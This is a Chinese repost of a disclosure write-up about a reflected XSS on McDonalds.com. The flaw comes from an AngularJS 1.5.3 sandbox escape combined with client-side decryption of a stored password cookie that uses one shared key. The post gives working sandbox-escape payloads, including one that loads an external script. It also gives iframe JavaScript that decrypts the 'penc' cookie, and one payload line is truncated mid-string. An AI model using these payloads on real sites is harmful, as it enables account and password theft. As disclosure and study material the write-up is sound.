未加星标

AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

字体大小 | |
[前端(javascript) 所属分类 前端(javascript) | 发布者 店小二05 | 时间 2017 | 作者 红领巾 ] 0人收藏点击收藏

通过滥用一个不安全加密存储漏洞( 点击查看 )和反射型服务端跨站脚本漏洞( 点击查看 )就可以从麦当劳盗取并解密用户密码。除此之外,其他个人信息,如用户姓名、地址和联系方式都可能被盗。

Proof of Concept ( PoC ) AngularJS沙箱绕过进行反射型XSS

McDonalds.com包括一个搜索页面在页面的源码上体现了一个搜索参数(q)的值。所以当我们在页面上搜索***********-test-reflected-test-***********的时候响应会如下所示:


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露
AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

麦当劳使用AngularJS所以我们可以尝试使用搜索值列出唯一ID的范围。我们可以通过修改q参数为{{$id}}。我们可以看到{{$id}}被转换成9,AngularJS范围内唯一的ID(单调递增)。


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露
AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

使用{{alert(1)}}并不会弹窗,因为所有的AngularJS代码都在沙箱中执行。然而 AngularJS沙箱是不安全的。事实上,它完全不应被信任。在1.6版本( source )中甚至因为虚假安全而被移除。PortSwigger 写了一篇很好的博文( 点击阅读 )关于AngularJS沙箱的逃离技术。

我们首先要找到McDonalds.com的AngularJS版本。我们可以在 console执行angular.version


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

版本是1.5.3,沙箱逃逸我们需要

{{x ={'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

我们使用这个沙箱逃逸作为搜索值,并以此导致弹窗。


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

我们甚至可以在沙箱逃逸后加载外部javascript文件,并导致下面的弹窗。

{{x = {'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`

因为麦当劳没有使用CSP(content-security-policy)头, Javascript可以被加载任意域名。


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露
Proof of Concept(PoC) 盗取用户密码

在McDonalds.com上我注意到的另一件事情是他们的登录页面,包含了一个非常特殊的复选框。正常来说你可以在登录过后选择“记住我”,但麦当劳的登录页面留给我们记住密码的选项。


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

我在所有的Javascript中搜索password关键字并找到一些有趣的解密代码。


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露
AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

如果说有一件事情是不应该做的,那就是在客户端解密(甚至使用双向加密存储密码)。我尝试运行自己的代码,而且成功了!


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

penc 是一个在cookie中存储一年的值。LOL !


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

麦当劳使用CryptoJS来加密和解密敏感数据。他们为所有用户使用相同的Key(密钥 )和IV(初始化向量),这意味着我只要盗取了penc的cookie解密某人的密码


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

我尝试在搜索页面使用一个恶意搜索payload来解密我的密码,但没有成功。因为AngularJS 的沙箱逃逸载荷替代了chartAt方法为join方法,getcookie 方法失败了。getcookie方法会尝试通过检查charAt(0)是否为空格来去除 cookie值中的空格。在下图,你可以看到如果在搜索页面成功执行.charAt(0)返回字符串与 0 相联结。


AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露
AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

我写了一些Javascript在主页上加载iframe ,并通过iframe盗取用户cookie 。因为沙箱逃逸的缘故,载荷需要执行多次,我跟踪变量 xssIsExecuted,这样 payload 只执行一次。

if (!window.xssIsExecuted) {
window.xssIsExecuted = true;
var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
$('body').append(iframe);
iframe.on('load', function() {
var penc = iframe[0].contentWindow.getCookie('penc');
alert(iframe[0].contentWindow.decrypt(penc));
});
}

现在我们可以使用下列沙箱逃逸,成功弹窗!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].jo
donalds-password-stealer.js`)');}}
AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露

这些都相当简单,我联系了麦当劳多次并报告问题,不幸的是他们没有任何回应,这就是为什么我决定披露此漏洞的原因。

*参考来源: Finnwea.com ,FB小编heiben编译,转载请注明来自CodeSec.Net

本文前端(javascript)相关术语:javascript是什么意思 javascript下载 javascript权威指南 javascript基础教程 javascript 正则表达式 javascript设计模式 javascript高级程序设计 精通javascript javascript教程

主题: AngularJSJava麦当劳数据上体变量
分页:12
转载请注明
本文标题:AngularJS沙箱绕过:反射型XSS导致麦当劳用户密码泄露
本站链接:http://www.codesec.net/view/531091.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 前端(javascript) | 评论(0) | 阅读(46)